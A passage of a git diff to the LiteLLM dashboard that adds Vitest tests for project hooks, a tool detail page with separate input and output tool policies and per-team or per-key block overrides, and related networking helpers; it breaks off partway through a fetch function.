b/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useProjects.test.ts @@ -0,0 +1,124 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { renderHook, waitFor } from "@testing-library/react"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import React, { ReactNode } from "react"; +import { useProjects, ProjectResponse } from "./useProjects"; + +vi.mock("@/components/networking", () => ({ + getProxyBaseUrl: vi.fn(() => ""), + getGlobalLitellmHeaderName: vi.fn(() => "Authorization"), + deriveErrorMessage: vi.fn((data: any) => data?.error || "Error"), + handleError: vi.fn(), +})); + +const mockUseAuthorized = vi.fn(); +vi.mock("@/app/(dashboard)/hooks/useAuthorized", () => ({ + default: () => mockUseAuthorized(), +})); + +const mockProjects: ProjectResponse[] = [ + { + project_id: "proj-1", + project_alias: "Test Project", + description: "A test project", + team_id: "team-1", + budget_id: null, + metadata: null, + models: ["gpt-4"], + spend: 25.0, + model_spend: null, + model_rpm_limit: null, + model_tpm_limit: null, + blocked: false, + object_permission_id: null, + created_at: "2024-01-01T00:00:00Z", + created_by: "user-1", + updated_at: "2024-01-02T00:00:00Z", + updated_by: "user-1", + litellm_budget_table: null, + }, + { + project_id: "proj-2", + project_alias: "Test Project 2", + description: null, + team_id: "team-1", + budget_id: null, + metadata: null, + models: [], + spend: 0, + model_spend: null, + model_rpm_limit: null, + model_tpm_limit: null, + blocked: false, + object_permission_id: null, + created_at: "2024-01-03T00:00:00Z", + created_by: "user-1", + updated_at: "2024-01-03T00:00:00Z", + updated_by: "user-1", + litellm_budget_table: null, + }, +]; + +function makeWrapper(queryClient: QueryClient) { + return ({ children }: { children: ReactNode }) => + React.createElement(QueryClientProvider, { client: queryClient }, children); +} + +describe("useProjects", () => { + let queryClient: QueryClient; + + beforeEach(() => { + queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false } }, + }); + vi.clearAllMocks(); + global.fetch = vi.fn(); + mockUseAuthorized.mockReturnValue({ accessToken: "test-token", userRole: "Admin" }); + }); + + it("should render", () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => mockProjects }); + const { result } = renderHook(() => useProjects(), { wrapper: makeWrapper(queryClient) }); + expect(result.current).toBeDefined(); + }); + + it("should return projects when the request succeeds", async () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => mockProjects }); + const { result } = renderHook(() => useProjects(), { wrapper: makeWrapper(queryClient) }); + await waitFor(() => expect(result.current.isSuccess).toBe(true)); + expect(result.current.data).toEqual(mockProjects); + }); + + it("should call GET /project/list with the auth header", async () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => mockProjects }); + renderHook(() => useProjects(), { wrapper: makeWrapper(queryClient) }); + await waitFor(() => expect(global.fetch).toHaveBeenCalled()); + const [url, init] = (global.fetch as any).mock.calls[0]; + expect(url).toContain("/project/list"); + expect(init.headers["Authorization"]).toBe("Bearer test-token"); + }); + + it("should set isError when the request fails", async () => { + (global.fetch as any).mockResolvedValue({ + ok: false, + json: async () => ({ error: "Not authorized" }), + }); + const { result } = renderHook(() => useProjects(), { wrapper: makeWrapper(queryClient) }); + await waitFor(() => expect(result.current.isError).toBe(true)); + expect(result.current.data).toBeUndefined(); + }); + + it("should not fetch when accessToken is missing", () => { + mockUseAuthorized.mockReturnValue({ accessToken: null, userRole: "Admin" }); + const { result } = renderHook(() => useProjects(), { wrapper: makeWrapper(queryClient) }); + expect(result.current.isFetched).toBe(false); + expect(global.fetch).not.toHaveBeenCalled(); + }); + + it("should not fetch when userRole is not an admin role", () => { + mockUseAuthorized.mockReturnValue({ accessToken: "test-token", userRole: "Internal User" }); + const { result } = renderHook(() => useProjects(), { wrapper: makeWrapper(queryClient) }); + expect(result.current.isFetched).toBe(false); + expect(global.fetch).not.toHaveBeenCalled(); + }); +}); diff --git a/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useUpdateProject.test.ts b/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useUpdateProject.test.ts new file mode 100644 index 00000000000..31d1a5fb352 --- /dev/null +++ b/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useUpdateProject.test.ts @@ -0,0 +1,116 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { renderHook, waitFor } from "@testing-library/react"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import React, { ReactNode } from "react"; +import { useUpdateProject } from "./useUpdateProject"; +import { projectKeys, ProjectResponse } from "./useProjects"; + +vi.mock("@/components/networking", () => ({ + getProxyBaseUrl: vi.fn(() => ""), + getGlobalLitellmHeaderName: vi.fn(() => "Authorization"), + deriveErrorMessage: vi.fn((data: any) => data?.error || "Error"), + handleError: vi.fn(), +})); + +const mockUseAuthorized = vi.fn(); +vi.mock("@/app/(dashboard)/hooks/useAuthorized", () => ({ + default: () => mockUseAuthorized(), +})); + +const mockProject: ProjectResponse = { + project_id: "proj-1", + project_alias: "Test Project", + description: "A test project", + team_id: "team-1", + budget_id: null, + metadata: null, + models: ["gpt-4"], + spend: 25.0, + model_spend: null, + model_rpm_limit: null, + model_tpm_limit: null, + blocked: false, + object_permission_id: null, + created_at: "2024-01-01T00:00:00Z", + created_by: "user-1", + updated_at: "2024-01-02T00:00:00Z", + updated_by: "user-1", + litellm_budget_table: null, +}; + +function makeWrapper(queryClient: QueryClient) { + return ({ children }: { children: ReactNode }) => + React.createElement(QueryClientProvider, { client: queryClient }, children); +} + +describe("useUpdateProject", () => { + let queryClient: QueryClient; + + beforeEach(() => { + queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, + }); + vi.clearAllMocks(); + global.fetch = vi.fn(); + mockUseAuthorized.mockReturnValue({ accessToken: "test-token", userRole: "Admin" }); + }); + + it("should render", () => { + const { result } = renderHook(() => useUpdateProject(), { + wrapper: makeWrapper(queryClient), + }); + expect(result.current.mutate).toBeDefined(); + }); + + it("should POST to /project/update and return the updated project", async () => { + const updated = { ...mockProject, project_alias: "Updated Name" }; + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => updated }); + const { result } = renderHook(() => useUpdateProject(), { + wrapper: makeWrapper(queryClient), + }); + const data = await result.current.mutateAsync({ + projectId: "proj-1", + params: { project_alias: "Updated Name" }, + }); + expect(data).toEqual(updated); + const [url, init] = (global.fetch as any).mock.calls[0]; + expect(url).toContain("/project/update"); + expect(JSON.parse(init.body)).toMatchObject({ + project_id: "proj-1", + project_alias: "Updated Name", + }); + }); + + it("should invalidate project queries on success", async () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => mockProject }); + const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); + const { result } = renderHook(() => useUpdateProject(), { + wrapper: makeWrapper(queryClient), + }); + await result.current.mutateAsync({ projectId: "proj-1", params: {} }); + expect(invalidateSpy).toHaveBeenCalledWith({ queryKey: projectKeys.all }); + }); + + it("should set isError when the request fails", async () => { + (global.fetch as any).mockResolvedValue({ + ok: false, + json: async () => ({ error: "Server error" }), + }); + const { result } = renderHook(() => useUpdateProject(), { + wrapper: makeWrapper(queryClient), + }); + result.current.mutateAsync({ projectId: "proj-1", params: {} }).catch(() => {}); + await waitFor(() => expect(result.current.isError).toBe(true)); + }); + + it("should throw when accessToken is missing", async () => { + mockUseAuthorized.mockReturnValue({ accessToken: null, userRole: "Admin" }); + const { result } = renderHook(() => useUpdateProject(), { + wrapper: makeWrapper(queryClient), + }); + await expect( + result.current.mutateAsync({ projectId: "proj-1", params: {} }) + ).rejects.toThrow("Access token is required"); + expect(global.fetch).not.toHaveBeenCalled(); + }); +}); diff --git a/ui/litellm-dashboard/src/app/page.tsx b/ui/litellm-dashboard/src/app/page.tsx index 622c3bf70a9..b927f312df8 100644 --- a/ui/litellm-dashboard/src/app/page.tsx +++ b/ui/litellm-dashboard/src/app/page.tsx @@ -39,7 +39,7 @@ import UserDashboard from "@/components/user_dashboard"; import { AccessGroupsPage } from "@/components/AccessGroups/AccessGroupsPage"; import { ProjectsPage } from "@/components/Projects/ProjectsPage"; import VectorStoreManagement from "@/components/vector_store_management"; -import ToolPolicies from "@/components/ToolPolicies"; +import ToolPoliciesView from "@/components/ToolPoliciesView"; import SpendLogsTable from "@/components/view_logs"; import ViewUserDashboard from "@/components/view_users"; import { ThemeProvider } from "@/contexts/ThemeContext"; @@ -549,7 +549,7 @@ function CreateKeyPageContent() { ) : page == "vector-stores" ? ( ) : page == "tool-policies" ? ( - + ) : page == "guardrails-monitor" ? ( ) : page == "new_usage" ? ( diff --git a/ui/litellm-dashboard/src/components/ToolDetail.tsx b/ui/litellm-dashboard/src/components/ToolDetail.tsx new file mode 100644 index 00000000000..ed0f866acb8 --- /dev/null +++ b/ui/litellm-dashboard/src/components/ToolDetail.tsx @@ -0,0 +1,445 @@ +"use client"; + +import { ArrowLeftOutlined, HistoryOutlined, ToolOutlined } from "@ant-design/icons"; +import { useQuery, useQueryClient } from "@tanstack/react-query"; +import { Button, Select, Spin } from "antd"; +import React, { useCallback, useEffect, useMemo, useState } from "react"; +import TeamDropdown from "@/components/common_components/team_dropdown"; +import { LogViewer } from "@/components/GuardrailsMonitor/LogViewer"; +import type { LogEntry } from "@/components/GuardrailsMonitor/mockData"; +import { PolicySelect } from "@/components/ToolPolicies/PolicySelect"; +import { + deleteToolPolicyOverride, + fetchToolDetail, + fetchToolPolicyOptions, + getToolUsageLogs, + keyListCall, + teamListCall, + updateToolPolicy, + type ToolPolicyOption, + type ToolPolicyOverrideRow, +} from "@/components/networking"; +import type { Team } from "@/components/key_team_helpers/key_list"; + +interface ToolDetailProps { + toolName: string; + onBack: () => void; + accessToken: string | null; +} + +interface KeyOption { + token: string; + key_alias?: string; +} + +const TOOL_DETAIL_QUERY_KEY = "tool-detail"; + +const LOGS_PAGE_SIZE = 50; + +function getDefaultLogsDateRange(): { start: string; end: string } { + const end = new Date(); + const start = new Date(); + start.setDate(start.getDate() - 90); + const fmt = (d: Date) => + d.toISOString().slice(0, 19).replace("T", " "); + return { start: fmt(start), end: fmt(end) }; +} + +export function ToolDetail({ toolName, onBack, accessToken }: ToolDetailProps) { + const queryClient = useQueryClient(); + const [overrideSaving, setOverrideSaving] = useState(false); + const [inputPolicySaving, setInputPolicySaving] = useState(false); + const [outputPolicySaving, setOutputPolicySaving] = useState(false); + const [blockScope, setBlockScope] = useState<"team" | "key">("team"); + const [blockTeamId, setBlockTeamId] = useState(null); + const [blockKey, setBlockKey] = useState(null); + + const logsDateRange = useMemo(() => getDefaultLogsDateRange(), []); + + const { data: detail, isLoading: detailLoading, error: detailError } = useQuery({ + queryKey: [TOOL_DETAIL_QUERY_KEY, toolName], + queryFn: () => fetchToolDetail(accessToken!, toolName), + enabled: !!accessToken && !!toolName, + }); + + const { data: policyOptions } = useQuery({ + queryKey: ["tool-policy-options"], + queryFn: () => fetchToolPolicyOptions(accessToken!), + enabled: !!accessToken, + staleTime: 60_000, + }); + + const { data: teamsData } = useQuery({ + queryKey: ["teams-list-tool-detail"], + queryFn: () => teamListCall(accessToken!, null, null), + enabled: !!accessToken, + }); + + const { data: keysData } = useQuery({ + queryKey: ["keys-list-tool-detail"], + queryFn: () => keyListCall(accessToken!, null, null, null, null, null, 1, 100), + enabled: !!accessToken, + }); + + const { data: logsData, isLoading: logsLoading } = useQuery({ + queryKey: ["tool-usage-logs", toolName, logsDateRange.start, logsDateRange.end], + queryFn: () => + getToolUsageLogs(accessToken!, toolName, { + page: 1, + pageSize: LOGS_PAGE_SIZE, + startDate: logsDateRange.start, + endDate: logsDateRange.end, + }), + enabled: !!accessToken && !!toolName, + }); + + const logs: LogEntry[] = useMemo(() => { + const list = logsData?.logs ?? []; + return list.map((l) => ({ + id: l.id, + timestamp: l.timestamp, + action: "passed" as const, + model: l.model ?? undefined, + input_snippet: l.input_snippet ?? undefined, + })); + }, [logsData?.logs]); + + const teams: Team[] = useMemo(() => { + const arr = Array.isArray(teamsData) ? teamsData : teamsData?.data ?? []; + return arr.map((t: { team_id?: string; id?: string; team_alias?: string }) => ({ + team_id: t.team_id ?? t.id ?? "", + team_alias: t.team_alias ?? t.team_id ?? "", + models: [], + max_budget: null, + budget_duration: null, + tpm_limit: null, + rpm_limit: null, + organization_id: "", + created_at: "", + keys: [], + members_with_roles: [], + spend: 0, + })); + }, [teamsData]); + + const keys: KeyOption[] = useMemo(() => { + const keysRes = keysData?.keys ?? keysData?.data ?? []; + return keysRes.map((k: { token?: string; api_key?: string; key_hash?: string; key_alias?: string }) => ({ + token: k.token ?? k.api_key ?? k.key_hash ?? "", + key_alias: k.key_alias ?? (k.token ?? k.api_key ?? k.key_hash)?.toString?.()?.substring?.(0, 8), + })); + }, [keysData]); + + const invalidateDetail = useCallback(() => { + queryClient.invalidateQueries({ queryKey: [TOOL_DETAIL_QUERY_KEY, toolName] }); + }, [queryClient, toolName]); + + const handleInputPolicyChange = useCallback( + async (_name: string, newPolicy: string) => { + if (!accessToken) return; + setInputPolicySaving(true); + try { + await updateToolPolicy(accessToken, toolName, { input_policy: newPolicy }); + invalidateDetail(); + } catch (e: unknown) { + alert(`Failed to update input policy: ${e instanceof Error ? e.message : String(e)}`); + } finally { + setInputPolicySaving(false); + } + }, + [accessToken, toolName, invalidateDetail] + ); + + const handleOutputPolicyChange = useCallback( + async (_name: string, newPolicy: string) => { + if (!accessToken) return; + setOutputPolicySaving(true); + try { + await updateToolPolicy(accessToken, toolName, { output_policy: newPolicy }); + invalidateDetail(); + } catch (e: unknown) { + alert(`Failed to update output policy: ${e instanceof Error ? e.message : String(e)}`); + } finally { + setOutputPolicySaving(false); + } + }, + [accessToken, toolName, invalidateDetail] + ); + + const handleAddOverride = useCallback(async () => { + if (!accessToken || !toolName) return; + const isTeam = blockScope === "team"; + if (isTeam && !blockTeamId) return; + if (!isTeam && !blockKey?.token) return; + setOverrideSaving(true); + try { + await updateToolPolicy(accessToken, toolName, { input_policy: "blocked" }, { + team_id: isTeam ? blockTeamId : undefined, + key_hash: !isTeam ? blockKey!.token : undefined, + key_alias: !isTeam ? blockKey!.key_alias : undefined, + }); + invalidateDetail(); + setBlockTeamId(null); + setBlockKey(null); + } catch (e: unknown) { + alert(`Failed to add override: ${e instanceof Error ? e.message : String(e)}`); + } finally { + setOverrideSaving(false); + } + }, [accessToken, toolName, blockScope, blockTeamId, blockKey, invalidateDetail]); + + const handleRemoveOverride = useCallback( + async (override: ToolPolicyOverrideRow) => { + if (!accessToken || !toolName) return; + setOverrideSaving(true); + try { + await deleteToolPolicyOverride(accessToken, toolName, { + team_id: override.team_id ?? undefined, + key_hash: override.key_hash ?? undefined, + }); + invalidateDetail(); + } catch (e: unknown) { + alert(`Failed to remove override: ${e instanceof Error ? e.message : String(e)}`); + } finally { + setOverrideSaving(false); + } + }, + [accessToken, toolName, invalidateDetail] + ); + + if (detailLoading && !detail) { + return ( +
+ +
+ ); + } + + if (detailError && !detail) { + return ( +
+ +

Failed to load tool details.

+
+ ); + } + + if (!detail) { + return null; + } + + const { tool, overrides } = detail; + + const inputDesc = policyOptions?.input_policies?.find( + (p) => p.value === tool.input_policy + )?.description; + const outputDesc = policyOptions?.output_policies?.find( + (p) => p.value === tool.output_policy + )?.description; + + return ( +
+
+ + +
+
+
+ +

{tool.tool_name}

+ + {tool.origin ?? "—"} + + + {(tool.call_count ?? 0).toLocaleString()} calls + +
+
+ {tool.user_agent && ( +
+
User Agent:
+
{tool.user_agent}
+
+ )} + {tool.created_at && ( +
+
First Discovered:
+
{new Date(tool.created_at).toLocaleString()}
+
+ )} + {tool.last_used_at && ( +
+
Last Used:
+
{new Date(tool.last_used_at).toLocaleString()}
+
+ )} +
+
+
+
+ +
+ {/* Two-panel policy layout */} +
+
+

Input Policy

+

+ {inputDesc ?? "Controls what data this tool is allowed to accept."} +

+ +
+ +
+

Output Policy

+

+ {outputDesc ?? "Controls how this tool's output is trusted by downstream tools."} +

+ +
+
+ + {overrides.length > 0 && ( +
+

Blocked for team or key

+
    + {overrides.map((ov) => ( +
  • + + {ov.team_id ? `Team: ${ov.team_id}` : ""} + {ov.team_id && ov.key_hash ? " · " : ""} + {ov.key_hash ? `Key: ${ov.key_alias || ov.key_hash.substring(0, 8)}` : ""} + {!ov.team_id && !ov.key_hash ? "—" : ""} + + +
    • + ))} +
+
+ )} + +
+

Block for team or key

+
+
+ Scope +
+ + +
+
+
+ + {blockScope === "team" ? "Team" : "Key"} + + {blockScope === "team" ? ( + setBlockTeamId(id || null)} + /> + ) : ( + onChange(toolName, v)} - onClick={(e) => e.stopPropagation()} - style={{ - minWidth: 110, - fontWeight: 500, - }} - popupMatchSelectWidth={false} - options={POLICY_OPTIONS.map((o) => ({ - value: o.value, - label: ( - - - {o.label} - - ), - }))} - /> - ); -}; - -export const ToolPolicies: React.FC = ({ accessToken }) => { +export const ToolPolicies: React.FC = ({ accessToken, onSelectTool }) => { const [tools, setTools] = useState([]); const [loading, setLoading] = useState(true); const [isFetching, setIsFetching] = useState(false); const [error, setError] = useState(null); - const [saving, setSaving] = useState(null); + const [savingInput, setSavingInput] = useState(null); + const [savingOutput, setSavingOutput] = useState(null); const [searchTerm, setSearchTerm] = useState(""); const [sortField, setSortField] = useState("created_at"); @@ -123,16 +96,29 @@ export const ToolPolicies: React.FC = ({ accessToken }) => { return () => clearInterval(id); }, [isLiveTail, load]); - const handlePolicyChange = async (toolName: string, newPolicy: string) => { + const handleInputPolicyChange = async (toolName: string, newPolicy: string) => { if (!accessToken) return; - setSaving(toolName); + setSavingInput(toolName); try { - await updateToolPolicy(accessToken, toolName, newPolicy); - setTools((prev) => prev.map((t) => (t.tool_name === toolName ? { ...t, call_policy: newPolicy } : t))); + await updateToolPolicy(accessToken, toolName, { input_policy: newPolicy }); + setTools((prev) => prev.map((t) => (t.tool_name === toolName ? { ...t, input_policy: newPolicy } : t))); } catch (e: any) { - alert(`Failed to update policy: ${e.message}`); + alert(`Failed to update input policy: ${e.message}`); } finally { - setSaving(null); + setSavingInput(null); + } + }; + + const handleOutputPolicyChange = async (toolName: string, newPolicy: string) => { + if (!accessToken) return; + setSavingOutput(toolName); + try { + await updateToolPolicy(accessToken, toolName, { output_policy: newPolicy }); + setTools((prev) => prev.map((t) => (t.tool_name === toolName ? { ...t, output_policy: newPolicy } : t))); + } catch (e: any) { + alert(`Failed to update output policy: ${e.message}`); + } finally { + setSavingOutput(null); } }; @@ -157,7 +143,6 @@ export const ToolPolicies: React.FC = ({ accessToken }) => { setCurrentPage(1); }; - // Build unique team/key options from loaded data const teamOptions = Array.from(new Set(tools.map((t) => t.team_id).filter(Boolean))).map((v) => ({ label: v as string, value: v as string, @@ -169,9 +154,14 @@ export const ToolPolicies: React.FC = ({ accessToken }) => { const filterOptions: FilterOption[] = [ { - name: "Policy", - label: "Policy", - options: POLICY_OPTIONS.map((o) => ({ label: o.label, value: o.value })), + name: "Input Policy", + label: "Input Policy", + options: INPUT_POLICY_OPTIONS.map((o) => ({ label: o.label, value: o.value })), + }, + { + name: "Output Policy", + label: "Output Policy", + options: OUTPUT_POLICY_OPTIONS.map((o) => ({ label: o.label, value: o.value })), }, { name: "Team Name", @@ -185,6 +175,39 @@ export const ToolPolicies: React.FC = ({ accessToken }) => { }, ]; + const { newToday, newYesterday, trendSubtitle, totalTools, blockedCount, activeTeamsCount, needsReviewTools } = + useMemo(() => { + const now = new Date(); + const todayKey = getUTCDateKey(now); + const yesterday = new Date(now); + yesterday.setUTCDate(yesterday.getUTCDate() - 1); + const yesterdayKey = getUTCDateKey(yesterday); + + const newToday = countToolsInUTCDay(tools, todayKey); + const newYesterday = countToolsInUTCDay(tools, yesterdayKey); + const trendSubtitle = getTrendSubtitle(newToday, newYesterday); + + const totalTools = tools.length; + const blockedCount = tools.filter((t) => t.input_policy === "blocked").length; + const activeTeamsCount = new Set(tools.map((t) => t.team_id).filter(Boolean)).size; + + const needsReviewTools = tools.filter( + (t) => + isCreatedInUTCDay(t.created_at, todayKey) && + t.input_policy === "untrusted" + ); + + return { + newToday, + newYesterday, + trendSubtitle, + totalTools, + blockedCount, + activeTeamsCount, + needsReviewTools, + }; + }, [tools]); + const SortHeader = ({ label, field }: { label: string; field: SortField }) => (
{label} @@ -203,10 +226,12 @@ export const ToolPolicies: React.FC = ({ accessToken }) => { (t.team_id ?? "").toLowerCase().includes(q) || (t.key_alias ?? "").toLowerCase().includes(q) || (t.key_hash ?? "").toLowerCase().includes(q) || - t.call_policy.toLowerCase().includes(q); + t.input_policy.toLowerCase().includes(q) || + t.output_policy.toLowerCase().includes(q); if (!matchesSearch) return false; } - if (activeFilters["Policy"] && t.call_policy !== activeFilters["Policy"]) return false; + if (activeFilters["Input Policy"] && t.input_policy !== activeFilters["Input Policy"]) return false; + if (activeFilters["Output Policy"] && t.output_policy !== activeFilters["Output Policy"]) return false; if (activeFilters["Team Name"] && t.team_id !== activeFilters["Team Name"]) return false; if (activeFilters["Key Name"] && t.key_alias !== activeFilters["Key Name"]) return false; return true; @@ -223,11 +248,74 @@ export const ToolPolicies: React.FC = ({ accessToken }) => { const totalPages = Math.max(1, Math.ceil(sorted.length / pageSize)); const paginated = sorted.slice((currentPage - 1) * pageSize, currentPage * pageSize); + const scrollToToolRow = (toolId: string) => { + const idx = sorted.findIndex((t) => t.tool_id === toolId); + if (idx >= 0) { + const page = Math.floor(idx / pageSize) + 1; + if (page !== currentPage) setCurrentPage(page); + requestAnimationFrame(() => { + setTimeout(() => { + document.getElementById(`tool-row-${toolId}`)?.scrollIntoView({ behavior: "smooth", block: "center" }); + }, 100); + }); + } + }; + return ( -
+

Tool Policies

+ +
+ + + + } + /> + + 0 ? "text-red-600" : undefined} + /> + 0 ? activeTeamsCount : "—"} /> +
+ + {needsReviewTools.length > 0 && ( +
+

Needs Review

+

+ {needsReviewTools.length} new tool{needsReviewTools.length !== 1 ? "s" : ""} discovered that require + policy decisions. +

+
+ {needsReviewTools.map((t) => ( + + + {t.tool_name} + + + + ))} +
+
+ )} +
- {/* Toolbar */}
@@ -311,7 +399,6 @@ export const ToolPolicies: React.FC = ({ accessToken }) => {
- {/* Filter row */}
= ({ accessToken }) => {
- {/* Auto-refresh banner */} {isLiveTail && (
Auto-refreshing every 15 seconds @@ -336,7 +422,6 @@ export const ToolPolicies: React.FC = ({ accessToken }) => {
{error}
)} - {/* Table */} @@ -347,7 +432,10 @@ export const ToolPolicies: React.FC = ({ accessToken }) => { - + + + + @@ -359,45 +447,61 @@ export const ToolPolicies: React.FC = ({ accessToken }) => { - Origin + User Agent {loading ? ( - + Loading tools… ) : paginated.length === 0 ? ( - + No tools discovered yet. Make a chat completion that returns tool_calls to start auto-discovery. ) : ( paginated.map((tool) => ( - + - - - {tool.tool_name} - - + - - {(tool.call_count ?? 0).toLocaleString()} + + + + +
+ {(tool.call_count ?? 0).toLocaleString()} +
@@ -417,8 +521,8 @@ export const ToolPolicies: React.FC = ({ accessToken }) => { - - {tool.origin ?? "-"} + + {tool.user_agent ?? "-"} @@ -427,7 +531,6 @@ export const ToolPolicies: React.FC = ({ accessToken }) => {
- {/* Bottom pagination (only when > 1 page) */} {totalPages > 1 && (
@@ -453,6 +556,7 @@ export const ToolPolicies: React.FC = ({ accessToken }) => {
)}
+
); }; diff --git a/ui/litellm-dashboard/src/components/ToolPolicies/PolicySelect.tsx b/ui/litellm-dashboard/src/components/ToolPolicies/PolicySelect.tsx new file mode 100644 index 00000000000..1317351931e --- /dev/null +++ b/ui/litellm-dashboard/src/components/ToolPolicies/PolicySelect.tsx @@ -0,0 +1,92 @@ +"use client"; + +import React from "react"; +import { Select } from "antd"; + +export const INPUT_POLICY_OPTIONS = [ + { value: "untrusted", label: "untrusted", color: "#92400e", bg: "#fef3c7", border: "#fcd34d" }, + { value: "trusted", label: "trusted", color: "#065f46", bg: "#d1fae5", border: "#6ee7b7" }, + { value: "blocked", label: "blocked", color: "#991b1b", bg: "#fee2e2", border: "#fca5a5" }, +] as const; + +export const OUTPUT_POLICY_OPTIONS = [ + { value: "untrusted", label: "untrusted", color: "#92400e", bg: "#fef3c7", border: "#fcd34d" }, + { value: "trusted", label: "trusted", color: "#065f46", bg: "#d1fae5", border: "#6ee7b7" }, +] as const; + +export const POLICY_OPTIONS = INPUT_POLICY_OPTIONS; + +export const policyStyle = (p: string) => + INPUT_POLICY_OPTIONS.find((o) => o.value === p) ?? INPUT_POLICY_OPTIONS[0]; + +export interface PolicySelectProps { + value: string; + toolName: string; + saving: boolean; + onChange: (toolName: string, policy: string) => void; + policyType?: "input" | "output"; + size?: "small" | "middle"; + minWidth?: number; + stopPropagation?: boolean; +} + +export const PolicySelect: React.FC = ({ + value, + toolName, + saving, + onChange, + policyType = "input", + size = "small", + minWidth = 110, + stopPropagation = true, +}) => { + const options = policyType === "output" ? OUTPUT_POLICY_OPTIONS : INPUT_POLICY_OPTIONS; + const style = policyStyle(value); + return ( + + (option?.label ?? "").toLowerCase().includes(input.toLowerCase()) + } + options={[ + { value: "", label: "None" }, + ...credentialsList.map((credential) => ({ + value: credential.credential_name, + label: credential.credential_name, + })), + ]} + allowClear + /> + + ) : ( +
+ {localModelData.litellm_params?.litellm_credential_name || "Manual"} +
+ )} +
{isWildcardModel && (
diff --git a/ui/litellm-dashboard/src/components/networking.tsx b/ui/litellm-dashboard/src/components/networking.tsx index f64e909ae3e..f2cb613ee29 100644 --- a/ui/litellm-dashboard/src/components/networking.tsx +++ b/ui/litellm-dashboard/src/components/networking.tsx @@ -8768,30 +8768,46 @@ export const updateSSOSettings = async (accessToken: string, settings: Record { +export interface UiAuditLogsParams { + action?: string; + table_name?: string; + object_id?: string; + changed_by?: string; + changed_by_api_key?: string; + object_team_id?: string; + object_key_hash?: string; + sort_by?: string; + sort_order?: "asc" | "desc"; +} + +export interface UiAuditLogsCallOptions { + accessToken: string; + page?: number; + page_size?: number; + params?: UiAuditLogsParams; +} + +export const uiAuditLogsCall = async ({ + accessToken, + page = 1, + page_size = 50, + params = {}, +}: UiAuditLogsCallOptions) => { try { - // Construct base URL let url = proxyBaseUrl ? `${proxyBaseUrl}/audit` : `/audit`; - // Add query parameters if they exist const queryParams = new URLSearchParams(); - // if (start_date) queryParams.append('start_date', start_date); - // if (end_date) queryParams.append('end_date', end_date); - if (page) queryParams.append("page", page.toString()); - if (page_size) queryParams.append("page_size", page_size.toString()); + queryParams.append("page", page.toString()); + queryParams.append("page_size", page_size.toString()); - // Append query parameters to URL if any exist - const queryString = queryParams.toString(); - if (queryString) { - url += `?${queryString}`; + for (const [key, value] of Object.entries(params)) { + if (value != null && value !== "") { + queryParams.append(key, String(value)); + } } + url += `?${queryParams.toString()}`; + const response = await fetch(url, { method: "GET", headers: { @@ -8807,8 +8823,7 @@ export const uiAuditLogsCall = async ( throw new Error(errorMessage); } - const data = await response.json(); - return data; + return await response.json(); } catch (error) { console.error("Failed to fetch audit logs:", error); throw error; @@ -10112,7 +10127,8 @@ export interface ToolRow { tool_id: string; tool_name: string; origin?: string; - call_policy: string; + input_policy: string; + output_policy: string; call_count?: number; assignments?: Record; key_hash?: string; @@ -10122,8 +10138,41 @@ export interface ToolRow { updated_at?: string; created_by?: string; updated_by?: string; + user_agent?: string; + last_used_at?: string; } +export interface ToolPolicyOption { + value: string; + label: string; + description: string; +} + +export interface ToolPolicyOptionsResponse { + input_policies: ToolPolicyOption[]; + output_policies: ToolPolicyOption[]; +} + +export const fetchToolPolicyOptions = async ( + accessToken: string +): Promise => { + const url = proxyBaseUrl + ? `${proxyBaseUrl}/v1/tool/policy/options` + : `/v1/tool/policy/options`; + const response = await fetch(url, { + method: "GET", + headers: { + [globalLitellmHeaderName]: `Bearer ${accessToken}`, + "Content-Type": "application/json", + }, + }); + if (!response.ok) { + const errorData = await response.text(); + throw new Error(errorData); + } + return response.json(); +}; + export const fetchToolsList = async (accessToken: string): Promise => { const url = proxyBaseUrl ? `${proxyBaseUrl}/v1/tool/list` : `/v1/tool/list`; const response = await fetch(url, { @@ -10141,19 +10190,137 @@ export const fetchToolsList = async (accessToken: string): Promise => return data.tools ?? []; }; -export const updateToolPolicy = async ( +export interface ToolPolicyOverrideRow { + override_id: string; + tool_name: string; + team_id?: string | null; + key_hash?: string | null; + input_policy: string; + key_alias?: string | null; + created_at?: string; + updated_at?: string; +} + +export interface ToolDetailResponse { + tool: ToolRow; + overrides: ToolPolicyOverrideRow[]; +} + +export interface ToolUsageLogEntry { + id: string; + timestamp: string; + model?: string | null; + spend?: number | null; + total_tokens?: number | null; + input_snippet?: string | null; +} + +export interface ToolUsageLogsResponse { + logs: ToolUsageLogEntry[]; + total: number; + page: number; + page_size: number; +} + +export const getToolUsageLogs = async ( accessToken: string, toolName: string, - callPolicy: string -): Promise => { - const url = proxyBaseUrl ? `${proxyBaseUrl}/v1/tool/policy` : `/v1/tool/policy`; - const response = await fetch(url, { - method: "POST", + options: { page?: number; pageSize?: number; startDate?: string; endDate?: string } +): Promise => { + const encoded = encodeURIComponent(toolName); + const url = proxyBaseUrl + ? `${proxyBaseUrl}/v1/tool/${encoded}/logs` + : `/v1/tool/${encoded}/logs`; + const params = new URLSearchParams(); + if (options.page != null) params.append("page", String(options.page)); + if (options.pageSize != null) params.append("page_size", String(options.pageSize)); + if (options.startDate) params.append("start_date", options.startDate); + if (options.endDate) params.append("end_date", options.endDate); + const fullUrl = params.toString() ? `${url}?${params.toString()}` : url; + const response = await fetch(fullUrl, { + method: "GET", + headers: { + [globalLitellmHeaderName]: `Bearer ${accessToken}`, + "Content-Type": "application/json", + }, + }); + if (!response.ok) { + const errorData = await response.json().catch(() => ({})); + throw new Error(deriveErrorMessage(errorData)); + } + return response.json(); +}; + +export const fetchToolDetail = async ( + accessToken: string, + toolName: string +): Promise => { + const encoded = encodeURIComponent(toolName); 